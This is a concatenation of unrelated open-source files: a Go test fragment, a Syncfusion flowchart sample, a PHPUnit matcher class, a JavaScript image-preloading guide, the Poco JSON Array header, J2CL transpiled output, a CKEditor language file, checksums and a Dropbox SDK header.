s = "mojombo/jekyll:develop"
p, ref = parsePullRequestProject(c, s)
assert.Equal(t, "develop", ref)
assert.Equal(t, "github.com", p.Host)
assert.Equal(t, "mojombo", p.Owner)
assert.Equal(t, "jekyll", p.Name)
}
| {
"pile_set_name": "Github"
} |
/**
* FlowChart
*/
import {
Diagram, NodeModel, Segments, ConnectorModel, TextStyleModel, DiagramContextMenu,
DiagramConstraints, ConnectorBridging, UndoRedo, DiagramBeforeMenuOpenEventArgs,
} from '../../src/diagram/index';
import { MenuEventArgs } from '@syncfusion/ej2-navigations';
import { createElement } from '@syncfusion/ej2-base';
Diagram.Inject(ConnectorBridging, DiagramContextMenu, UndoRedo);
let node1: NodeModel = {
id: 'NewIdea', width: 150, height: 60, offsetX: 300, offsetY: 60,
shape: { type: 'Flow', shape: 'Terminator' },
annotations: [{
id: 'label1', content: 'New idea identified', offset: { x: 0.5, y: 0.5 }
}]
};
let node2: NodeModel = {
id: 'Meeting', width: 150, height: 60, offsetX: 300, offsetY: 155,
shape: { type: 'Flow', shape: 'Process' },
annotations: [{
id: 'label2', content: 'Meeting with board', offset: { x: 0.5, y: 0.5 }
}]
};
let node3: NodeModel = {
id: 'BoardDecision', width: 150, height: 110, offsetX: 300, offsetY: 280,
shape: { type: 'Flow', shape: 'Decision' },
annotations: [{
id: 'label3', content: 'Board decides whether to proceed', offset: { x: 0.5, y: 0.5 },
margin: { left: 25, right: 25 },
style: { whiteSpace: 'PreserveAll' }
}]
};
let node4: NodeModel = {
id: 'Project', width: 150, height: 100, offsetX: 300, offsetY: 430,
shape: { type: 'Flow', shape: 'Decision' },
annotations: [{
id: 'label4', content: 'Find Project manager', offset: { x: 0.5, y: 0.5 },
}]
};
let node5: NodeModel = {
id: 'End', width: 150, height: 60, offsetX: 300, offsetY: 555,
shape: { type: 'Flow', shape: 'Process' },
annotations: [{
id: 'label5', content: 'Implement and Deliver', offset: { x: 0.5, y: 0.5 },
}]
};
let node6: NodeModel = {
id: 'Decision', width: 250, height: 60, offsetX: 550, offsetY: 60,
shape: { type: 'Flow', shape: 'Card' },
annotations: [{
id: 'label6', content: 'Decision Process for new software ideas', offset: { x: 0.5, y: 0.5 },
style: { whiteSpace: 'PreserveAll' } as TextStyleModel
}]
};
let node7: NodeModel = {
id: 'Reject', width: 150, height: 60, offsetX: 550, offsetY: 280,
shape: { type: 'Flow', shape: 'Process' },
annotations: [{
id: 'label7', content: 'Reject and write report', offset: { x: 0.5, y: 0.5 },
}]
};
let node8: NodeModel = {
id: 'Resources', width: 150, height: 60, offsetX: 550, offsetY: 430,
shape: { type: 'Flow', shape: 'Process' },
annotations: [{
id: 'label8', content: 'Hire new resources', offset: { x: 0.5, y: 0.5 },
}]
};
let connector1: ConnectorModel = {
id: 'connector1', type: 'Straight', sourceID: 'NewIdea', targetID: 'Meeting'
};
let connector2: ConnectorModel = {
id: 'connector2', type: 'Straight', sourceID: 'Meeting', targetID: 'BoardDecision'
};
let connector3: ConnectorModel = {
id: 'connector3', type: 'Straight', sourceID: 'BoardDecision', targetID: 'Project'
};
let connector4: ConnectorModel = {
id: 'connector4', type: 'Straight', sourceID: 'Project', targetID: 'End'
};
let connector5: ConnectorModel = {
id: 'connector5', type: 'Straight', sourceID: 'BoardDecision', targetID: 'Reject'
};
let connector6: ConnectorModel = {
id: 'connector6', type: 'Straight', sourceID: 'Project', targetID: 'Resources'
};
let diagram = new Diagram({
width: 1500, height: 1000, nodes: [node1, node2, node3, node4, node5, node6, node7, node8],
connectors: [connector1, connector2, connector3, connector4, connector5, connector6],
contextMenuSettings: {
show: true, items: [{
text: 'Cut', id: 'Cut', target: '.e-diagramcontent',
iconCss: 'e-Cut'
},
{
text: 'Copy', id: 'Copy', target: '.e-diagramcontent',
iconCss: 'e-Copy'
}],
showCustomMenuOnly: true,
},
contextMenuBeforeItemRender: (args: MenuEventArgs) => {
// To render template in li.
let shortCutSpan: HTMLElement = createElement('span');
let text: string = args.item.text;
let shortCutText: string = text === 'Cut' ? 'Ctrl + S' : (text === 'Copy' ?
'Ctrl + U' : 'Ctrl + Shift + I');
shortCutSpan.textContent = shortCutText;
args.element.appendChild(shortCutSpan);
shortCutSpan.setAttribute('class', 'shortcut');
}
});
diagram.appendTo('#diagram');
| {
"pile_set_name": "Github"
} |
<?php
/**
* PHPUnit
*
* Copyright (c) 2010-2013, Sebastian Bergmann <sb@sebastian-bergmann.de>.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
*
* * Neither the name of Sebastian Bergmann nor the names of his
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* @package PHPUnit_MockObject
* @author Sebastian Bergmann <sb@sebastian-bergmann.de>
* @copyright 2010-2013 Sebastian Bergmann <sb@sebastian-bergmann.de>
* @license http://www.opensource.org/licenses/BSD-3-Clause The BSD 3-Clause License
* @link http://github.com/sebastianbergmann/phpunit-mock-objects
* @since File available since Release 1.0.0
*/
/**
* Invocation matcher which looks for a specific method name in the invocations.
*
* Checks the method name all incoming invocations, the name is checked against
* the defined constraint $constraint. If the constraint is met it will return
* true in matches().
*
* @package PHPUnit_MockObject
* @author Sebastian Bergmann <sb@sebastian-bergmann.de>
* @copyright 2010-2013 Sebastian Bergmann <sb@sebastian-bergmann.de>
* @license http://www.opensource.org/licenses/BSD-3-Clause The BSD 3-Clause License
* @version Release: @package_version@
* @link http://github.com/sebastianbergmann/phpunit-mock-objects
* @since Class available since Release 1.0.0
*/
class PHPUnit_Framework_MockObject_Matcher_MethodName extends PHPUnit_Framework_MockObject_Matcher_StatelessInvocation
{
/**
* @var PHPUnit_Framework_Constraint
*/
protected $constraint;
/**
* @param PHPUnit_Framework_Constraint|string
* @throws PHPUnit_Framework_Constraint
*/
public function __construct($constraint)
{
if (!$constraint instanceof PHPUnit_Framework_Constraint) {
if (!is_string($constraint)) {
throw PHPUnit_Util_InvalidArgumentHelper::factory(1, 'string');
}
$constraint = new PHPUnit_Framework_Constraint_IsEqual(
$constraint, 0, 10, FALSE, TRUE
);
}
$this->constraint = $constraint;
}
/**
* @return string
*/
public function toString()
{
return 'method name ' . $this->constraint->toString();
}
/**
* @param PHPUnit_Framework_MockObject_Invocation $invocation
* @return boolean
*/
public function matches(PHPUnit_Framework_MockObject_Invocation $invocation)
{
return $this->constraint->evaluate($invocation->methodName, '', TRUE);
}
}
| {
"pile_set_name": "Github"
} |
## How to preload resources with JavaScript [Back](./qa.md)
### 1. A image resource loader class
```js
(function (root, factory) {
if (typeof define === 'function' && define.amd) {
/** AMD style */
define(factory);
} else if (typeof exports === 'object') {
/** Node, CommonJS style */
module.exports = factory();
} else {
/** 浏览器全局变量(root 即 window) */
root.resLoader = factory(root);
}
}(this, function () {
var isFunc = function (f) {
return typeof f === 'function';
}
/** 构造器函数 */
function resLoader(config) {
this.option = {
resourceType : 'image', /** 资源类型,默认为图片 */
baseUrl : './', /** 基准url */
resources : [], /** 资源路径数组 */
onStart : null, /** 加载开始回调函数,传入参数total */
onProgress : null, /** 正在加载回调函数,传入参数currentIndex, total */
onComplete : null /** 加载完毕回调函数,传入参数total */
}
if (config) {
for (i in config) {
this.option[i] = config[i];
}
} else {
alert('error parameters');
return;
}
/** 加载器的状态,0:未启动 1:正在加载 2:加载完毕 */
this.status = 0;
/** 资源总数 */
this.total = this.option.resources.length || 0;
/** 当前正在加载的资源索引 */
this.currentIndex = 0;
};
resLoader.prototype.start = function () {
this.status = 1;
var _this = this;
var baseUrl = this.option.baseUrl;
for (var i = 0, l = this.option.resources.length; i < l; i++) {
var r = this.option.resources[i];
var url = '';
if (r.indexOf('http://') ===0 || r.indexOf('https://')===0) {
url = r;
} else {
url = baseUrl + r;
}
var image = new Image();
image.onload = function () {
_this.loaded();
};
image.onerror = function () {
_this.loaded();
};
image.src = url;
}
if (isFunc(this.option.onStart)) {
this.option.onStart(this.total);
}
}
resLoader.prototype.loaded = function () {
if (isFunc(this.option.onProgress)) {
this.option.onProgress(++this.currentIndex, this.total);
}
/** 加载完毕 */
if (this.currentIndex===this.total) {
if (isFunc(this.option.onComplete)) {
this.option.onComplete(this.total);
}
}
}
/** 暴露公共方法 */
return resLoader;
}));
```
### 2. Usage
```js
var loader = new resLoader({
resources : [
'images/bg2.jpg'
],
onStart : function (total) {
},
onProgress : function (current, total) {
},
onComplete : function (total) {
}
});
```
### 3. Prefetching
#### Firefox
As per MDN, you can use the `<link>` tags in head of the document,
```html
<link rel="prefetch" href="/assets/my-preloaded-image.png">
```
Also can be set into a request header:
```
Link: </assets/my-preloaded-image.png>; rel=prefetch
```
Or within a html `meta` tag:
```html
<meta http-equiv="Link" content="</assets/my-preloaded-image.png>; rel=prefetch">
```
Of course you can prefetch the next page you know:
```html
<link rel="next" href="2.html">
```
#### IE 11
```html
<link rel="prefetch" href="http://example.com/style.css" />
<link rel="dns-prefetch" href="http://example.com/"/>
<link rel="prerender" href="http://example.com/nextpage.html" />
```
#### Chrome
Chrome also does the same things as both Firefox and IE. | {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<!-- http://biesi.damowmow.com/object/017.html -->
<html lang="en">
<head>
<title><object>: Malformed image (with type attribute)</title>
</head>
<body>
<p>PASS</p>
</body>
</html>
| {
"pile_set_name": "Github"
} |
//
// Array.h
//
// Library: JSON
// Package: JSON
// Module: Array
//
// Definition of the Array class.
//
// Copyright (c) 2012, Applied Informatics Software Engineering GmbH.
// and Contributors.
//
// SPDX-License-Identifier: BSL-1.0
//
#ifndef JSON_Array_INCLUDED
#define JSON_Array_INCLUDED
#include "Poco/JSON/JSON.h"
#include "Poco/SharedPtr.h"
#include "Poco/Dynamic/Var.h"
#include <vector>
#include <sstream>
namespace Poco {
namespace JSON {
class Object;
class JSON_API Array
/// Represents a JSON array. Array provides a representation
/// based on shared pointers and optimized for performance. It is possible to
/// convert Array to Poco::Dynamic::Array. Conversion requires copying and therefore
/// has performance penalty; the benefit is in improved syntax, eg:
///
/// // use pointers to avoid copying
/// using namespace Poco::JSON;
/// std::string json = "[ {\"test\" : 0}, { \"test1\" : [1, 2, 3], \"test2\" : 4 } ]";
/// Parser parser;
/// Var result = parser.parse(json);
/// Array::Ptr arr = result.extract<Array::Ptr>();
/// Object::Ptr object = arr->getObject(0); // object == {\"test\" : 0}
/// int i = object->getElement<int>("test"); // i == 0;
/// Object::Ptr subObject = *arr->getObject(1); // subObject == {\"test\" : 0}
/// Array subArr::Ptr = subObject->getArray("test1"); // subArr == [1, 2, 3]
/// i = result = subArr->get(0); // i == 1;
///
/// // copy/convert to Poco::Dynamic::Array
/// Poco::Dynamic::Array da = *arr;
/// i = da[0]["test"]; // i == 0
/// i = da[1]["test1"][1]; // i == 2
/// i = da[1]["test2"]; // i == 4
/// ----
{
public:
using ValueVec = std::vector<Dynamic::Var>;
using Iterator = std::vector<Dynamic::Var>::iterator;
using ConstIterator = std::vector<Dynamic::Var>::const_iterator;
using Ptr = SharedPtr<Array>;
Array(int options = 0);
/// Creates an empty Array.
///
/// If JSON_ESCAPE_UNICODE is specified, when the object is
/// stringified, all unicode characters will be escaped in the
/// resulting string.
Array(const Array& copy);
/// Creates an Array by copying another one.
Array(Array&& other) noexcept;
/// Move constructor
Array& operator = (const Array& other);
/// Assignment operator.
Array& operator = (Array&& other) noexcept;
/// Move assignment operator.
~Array();
/// Destroys the Array.
void setEscapeUnicode(bool escape = true);
/// Sets the flag for escaping unicode.
bool getEscapeUnicode() const;
/// Returns the flag for escaping unicode.
ValueVec::const_iterator begin() const;
/// Returns the begin iterator for values.
ValueVec::const_iterator end() const;
/// Returns the end iterator for values.
Dynamic::Var get(unsigned int index) const;
/// Retrieves the element at the given index.
/// Will return an empty value when the element doesn't exist.
Array::Ptr getArray(unsigned int index) const;
/// Retrieves an array. When the element is not
/// an Array or doesn't exist, an empty SharedPtr is returned.
template<typename T>
T getElement(unsigned int index) const
/// Retrieves an element and tries to convert it to the
/// template type. The convert<T> method of
/// Dynamic is called which can also throw
/// exceptions for invalid values.
/// Note: This will not work for an array or an object.
{
Dynamic::Var value = get(index);
return value.convert<T>();
}
SharedPtr<Object> getObject(unsigned int index) const;
/// Retrieves an object. When the element is not
/// an object or doesn't exist, an empty SharedPtr is returned.
std::size_t size() const;
/// Returns the size of the array.
bool isArray(unsigned int index) const;
/// Returns true when the element is an array.
bool isArray(const Dynamic::Var& value) const;
/// Returns true when the element is an array.
bool isArray(ConstIterator& value) const;
/// Returns true when the element is an array.
bool isNull(unsigned int index) const;
/// Returns true when the element is null or
/// when the element doesn't exist.
bool isObject(unsigned int index) const;
/// Returns true when the element is an object.
bool isObject(const Dynamic::Var& value) const;
/// Returns true when the element is an object.
bool isObject(ConstIterator& value) const;
/// Returns true when the element is an object.
template<typename T>
T optElement(unsigned int index, const T& def) const
/// Returns the element at the given index. When
/// the element is null, doesn't exist or can't
/// be converted to the given type, the default
/// value will be returned
{
T value = def;
if (index < _values.size())
{
try
{
value = _values[index].convert<T>();
}
catch (...)
{
// Default value is returned.
}
}
return value;
}
Array& add(const Dynamic::Var& value);
/// Add the given value to the array
Array& set(unsigned int index, const Dynamic::Var& value);
/// Update the element on the given index to specified value
void stringify(std::ostream& out, unsigned int indent = 0, int step = -1) const;
/// Prints the array to out. When indent has zero value,
/// the array will be printed without newline breaks and spaces between elements.
void remove(unsigned int index);
/// Removes the element on the given index.
operator const Poco::Dynamic::Array& () const;
/// Conversion operator to Dynamic::Array.
static Poco::Dynamic::Array makeArray(const JSON::Array::Ptr& arr);
/// Utility function for creation of array.
void clear();
/// Clears the contents of the array.
private:
void resetDynArray() const;
typedef SharedPtr<Poco::Dynamic::Array> ArrayPtr;
ValueVec _values;
mutable ArrayPtr _pArray;
mutable bool _modified;
// Note:
// The reason we have this flag here (rather than as argument to stringify())
// is because Array can be returned stringified from a Dynamic::Var:toString(),
// so it must know whether to escape unicode or not.
bool _escapeUnicode;
};
//
// inlines
//
inline void Array::setEscapeUnicode(bool escape)
{
_escapeUnicode = escape;
}
inline bool Array::getEscapeUnicode() const
{
return _escapeUnicode;
}
inline Array::ValueVec::const_iterator Array::begin() const
{
return _values.begin();
}
inline Array::ValueVec::const_iterator Array::end() const
{
return _values.end();
}
inline std::size_t Array::size() const
{
return static_cast<std::size_t>(_values.size());
}
inline bool Array::isArray(unsigned int index) const
{
Dynamic::Var value = get(index);
return isArray(value);
}
inline bool Array::isArray(const Dynamic::Var& value) const
{
return value.type() == typeid(Array::Ptr);
}
inline bool Array::isArray(ConstIterator& it) const
{
return it!= end() && isArray(*it);
}
inline Array& Array::add(const Dynamic::Var& value)
{
_values.push_back(value);
_modified = true;
return *this;
}
inline Array& Array::set(unsigned int index, const Dynamic::Var& value)
{
if (index >= _values.size()) _values.resize(index + 1);
_values[index] = value;
_modified = true;
return *this;
}
inline void Array::remove(unsigned int index)
{
_values.erase(_values.begin() + index);
}
} } // namespace Poco::JSON
namespace Poco {
namespace Dynamic {
template <>
class VarHolderImpl<JSON::Array::Ptr>: public VarHolder
{
public:
VarHolderImpl(const JSON::Array::Ptr& val): _val(val)
{
}
~VarHolderImpl()
{
}
const std::type_info& type() const
{
return typeid(JSON::Array::Ptr);
}
void convert(Int8&) const
{
throw BadCastException();
}
void convert(Int16&) const
{
throw BadCastException();
}
void convert(Int32&) const
{
throw BadCastException();
}
void convert(Int64&) const
{
throw BadCastException();
}
void convert(UInt8&) const
{
throw BadCastException();
}
void convert(UInt16&) const
{
throw BadCastException();
}
void convert(UInt32&) const
{
throw BadCastException();
}
void convert(UInt64&) const
{
throw BadCastException();
}
void convert(bool& value) const
{
value = !_val.isNull() && _val->size() > 0;
}
void convert(float&) const
{
throw BadCastException();
}
void convert(double&) const
{
throw BadCastException();
}
void convert(char&) const
{
throw BadCastException();
}
void convert(std::string& s) const
{
std::ostringstream oss;
_val->stringify(oss, 2);
s = oss.str();
}
void convert(DateTime& /*val*/) const
{
throw BadCastException("Cannot convert Array to DateTime");
}
void convert(LocalDateTime& /*ldt*/) const
{
throw BadCastException("Cannot convert Array to LocalDateTime");
}
void convert(Timestamp& /*ts*/) const
{
throw BadCastException("Cannot convert Array to Timestamp");
}
VarHolder* clone(Placeholder<VarHolder>* pVarHolder = 0) const
{
return cloneHolder(pVarHolder, _val);
}
const JSON::Array::Ptr& value() const
{
return _val;
}
bool isInteger() const
{
return false;
}
bool isSigned() const
{
return false;
}
bool isNumeric() const
{
return false;
}
bool isString() const
{
return false;
}
private:
JSON::Array::Ptr _val;
};
template <>
class VarHolderImpl<JSON::Array>: public VarHolder
{
public:
VarHolderImpl(const JSON::Array& val): _val(val)
{
}
~VarHolderImpl()
{
}
const std::type_info& type() const
{
return typeid(JSON::Array);
}
void convert(Int8&) const
{
throw BadCastException();
}
void convert(Int16&) const
{
throw BadCastException();
}
void convert(Int32&) const
{
throw BadCastException();
}
void convert(Int64&) const
{
throw BadCastException();
}
void convert(UInt8&) const
{
throw BadCastException();
}
void convert(UInt16&) const
{
throw BadCastException();
}
void convert(UInt32&) const
{
throw BadCastException();
}
void convert(UInt64&) const
{
throw BadCastException();
}
void convert(bool& value) const
{
value = _val.size() > 0;
}
void convert(float&) const
{
throw BadCastException();
}
void convert(double&) const
{
throw BadCastException();
}
void convert(char&) const
{
throw BadCastException();
}
void convert(std::string& s) const
{
std::ostringstream oss;
_val.stringify(oss, 2);
s = oss.str();
}
void convert(DateTime& /*val*/) const
{
throw BadCastException("Cannot convert Array to DateTime");
}
void convert(LocalDateTime& /*ldt*/) const
{
throw BadCastException("Cannot convert Array to LocalDateTime");
}
void convert(Timestamp& /*ts*/) const
{
throw BadCastException("Cannot convert Array to Timestamp");
}
VarHolder* clone(Placeholder<VarHolder>* pVarHolder = 0) const
{
return cloneHolder(pVarHolder, _val);
}
const JSON::Array& value() const
{
return _val;
}
bool isInteger() const
{
return false;
}
bool isSigned() const
{
return false;
}
bool isNumeric() const
{
return false;
}
bool isString() const
{
return false;
}
private:
JSON::Array _val;
};
} } // namespace Poco::Dynamic
#endif // JSON_Array_INCLUDED
| {
"pile_set_name": "Github"
} |
goog.module('com.google.j2cl.transpiler.readable.multipleconstructors.MultipleConstructors$impl');
const j_l_Object = goog.require('java.lang.Object$impl');
const $Util = goog.require('nativebootstrap.Util$impl');
class MultipleConstructors extends j_l_Object {
/** @protected */
constructor() {
super();
/**@type {number}*/
this.f_id__com_google_j2cl_transpiler_readable_multipleconstructors_MultipleConstructors_ =
0;
/**@type {boolean}*/
this.f_flag__com_google_j2cl_transpiler_readable_multipleconstructors_MultipleConstructors_ =
false;
}
// Factory method corresponding to constructor 'MultipleConstructors(int)'.
/** @return {!MultipleConstructors} */
static $create__int(/** number */ id) {
MultipleConstructors.$clinit();
let $instance = new MultipleConstructors();
$instance
.$ctor__com_google_j2cl_transpiler_readable_multipleconstructors_MultipleConstructors__int(
id);
return $instance;
}
// Initialization from constructor 'MultipleConstructors(int)'.
$ctor__com_google_j2cl_transpiler_readable_multipleconstructors_MultipleConstructors__int(
/** number */ id) {
this.$ctor__java_lang_Object__();
this.f_id__com_google_j2cl_transpiler_readable_multipleconstructors_MultipleConstructors_ =
id;
this.f_flag__com_google_j2cl_transpiler_readable_multipleconstructors_MultipleConstructors_ =
id == 0;
}
// Factory method corresponding to constructor
// 'MultipleConstructors(boolean)'.
/** @return {!MultipleConstructors} */
static $create__boolean(/** boolean */ flag) {
MultipleConstructors.$clinit();
let $instance = new MultipleConstructors();
$instance
.$ctor__com_google_j2cl_transpiler_readable_multipleconstructors_MultipleConstructors__boolean(
flag);
return $instance;
}
// Initialization from constructor 'MultipleConstructors(boolean)'.
$ctor__com_google_j2cl_transpiler_readable_multipleconstructors_MultipleConstructors__boolean(
/** boolean */ flag) {
this.$ctor__java_lang_Object__();
this.f_id__com_google_j2cl_transpiler_readable_multipleconstructors_MultipleConstructors_ =
-1 | 0;
this.f_flag__com_google_j2cl_transpiler_readable_multipleconstructors_MultipleConstructors_ =
flag;
}
// Factory method corresponding to constructor 'MultipleConstructors(int,
// boolean)'.
/** @return {!MultipleConstructors} */
static $create__int__boolean(/** number */ id, /** boolean */ flag) {
MultipleConstructors.$clinit();
let $instance = new MultipleConstructors();
$instance
.$ctor__com_google_j2cl_transpiler_readable_multipleconstructors_MultipleConstructors__int__boolean(
id, flag);
return $instance;
}
// Initialization from constructor 'MultipleConstructors(int, boolean)'.
$ctor__com_google_j2cl_transpiler_readable_multipleconstructors_MultipleConstructors__int__boolean(
/** number */ id, /** boolean */ flag) {
this.$ctor__java_lang_Object__();
this.f_id__com_google_j2cl_transpiler_readable_multipleconstructors_MultipleConstructors_ =
id;
this.f_flag__com_google_j2cl_transpiler_readable_multipleconstructors_MultipleConstructors_ =
flag;
}
static $clinit() {
MultipleConstructors.$clinit = () => {};
MultipleConstructors.$loadModules();
j_l_Object.$clinit();
}
/** @return {boolean} */
static $isInstance(/** ? */ instance) {
return instance instanceof MultipleConstructors;
}
static $loadModules() {}
}
$Util.$setClassMetadata(
MultipleConstructors,
'com.google.j2cl.transpiler.readable.multipleconstructors.MultipleConstructors');
exports = MultipleConstructors;
//# sourceMappingURL=MultipleConstructors.js.map
| {
"pile_set_name": "Github"
} |
/*
Copyright (c) 2003-2017, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang( 'image2', 'hr', {
alt: 'Alternativni tekst',
btnUpload: 'Pošalji na server',
captioned: 'Titl slike',
captionPlaceholder: 'Titl',
infoTab: 'Info slike',
lockRatio: 'Zaključaj odnos',
menu: 'Svojstva slika',
pathName: 'slika',
pathNameCaption: 'titl',
resetSize: 'Obriši veličinu',
resizer: 'Odaberi i povuci za promjenu veličine',
title: 'Svojstva slika',
uploadTab: 'Pošalji',
urlMissing: 'Nedostaje URL slike.',
altMissing: 'Nedostaje alternativni tekst.'
} );
| {
"pile_set_name": "Github"
} |
/**
* For Node.js, simply re-export the core `util.deprecate` function.
*/
module.exports = require('util').deprecate;
| {
"pile_set_name": "Github"
} |
armada370-linux-3.x.txz SHA1 d9fd1fe0b43c94b9b97043cd0e0b6817df28fb2d
armada370-linux-3.x.txz SHA256 3467e639a7fa8a4dd3ed8b678b1b6b8e4367ff14b141c6e1195643b807db4b43
armada370-linux-3.x.txz MD5 763fb17ed51739d662a60a6a51e981af
| {
"pile_set_name": "Github"
} |
///
/// Copyright (c) 2016 Dropbox, Inc. All rights reserved.
///
/// Auto-generated by Stone, do not modify.
///
#import <Foundation/Foundation.h>
#import "DBSerializableProtocol.h"
@class DBTEAMLOGPaperContentAddToFolderDetails;
NS_ASSUME_NONNULL_BEGIN
#pragma mark - API Object
///
/// The `PaperContentAddToFolderDetails` struct.
///
/// Added Paper doc/folder to folder.
///
/// This class implements the `DBSerializable` protocol (serialize and
/// deserialize instance methods), which is required for all Obj-C SDK API route
/// objects.
///
@interface DBTEAMLOGPaperContentAddToFolderDetails : NSObject <DBSerializable, NSCopying>
#pragma mark - Instance fields
/// Event unique identifier.
@property (nonatomic, readonly, copy) NSString *eventUuid;
/// Target asset position in the Assets list.
@property (nonatomic, readonly) NSNumber *targetAssetIndex;
/// Parent asset position in the Assets list.
@property (nonatomic, readonly) NSNumber *parentAssetIndex;
#pragma mark - Constructors
///
/// Full constructor for the struct (exposes all instance variables).
///
/// @param eventUuid Event unique identifier.
/// @param targetAssetIndex Target asset position in the Assets list.
/// @param parentAssetIndex Parent asset position in the Assets list.
///
/// @return An initialized instance.
///
- (instancetype)initWithEventUuid:(NSString *)eventUuid
targetAssetIndex:(NSNumber *)targetAssetIndex
parentAssetIndex:(NSNumber *)parentAssetIndex;
- (instancetype)init NS_UNAVAILABLE;
@end
#pragma mark - Serializer Object
///
/// The serialization class for the `PaperContentAddToFolderDetails` struct.
///
@interface DBTEAMLOGPaperContentAddToFolderDetailsSerializer : NSObject
///
/// Serializes `DBTEAMLOGPaperContentAddToFolderDetails` instances.
///
/// @param instance An instance of the `DBTEAMLOGPaperContentAddToFolderDetails`
/// API object.
///
/// @return A json-compatible dictionary representation of the
/// `DBTEAMLOGPaperContentAddToFolderDetails` API object.
///
+ (nullable NSDictionary<NSString *, id> *)serialize:(DBTEAMLOGPaperContentAddToFolderDetails *)instance;
///
/// Deserializes `DBTEAMLOGPaperContentAddToFolderDetails` instances.
///
/// @param dict A json-compatible dictionary representation of the
/// `DBTEAMLOGPaperContentAddToFolderDetails` API object.
///
/// @return An instantiation of the `DBTEAMLOGPaperContentAddToFolderDetails`
/// object.
///
+ (DBTEAMLOGPaperContentAddToFolderDetails *)deserialize:(NSDictionary<NSString *, id> *)dict;
@end
NS_ASSUME_NONNULL_END
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.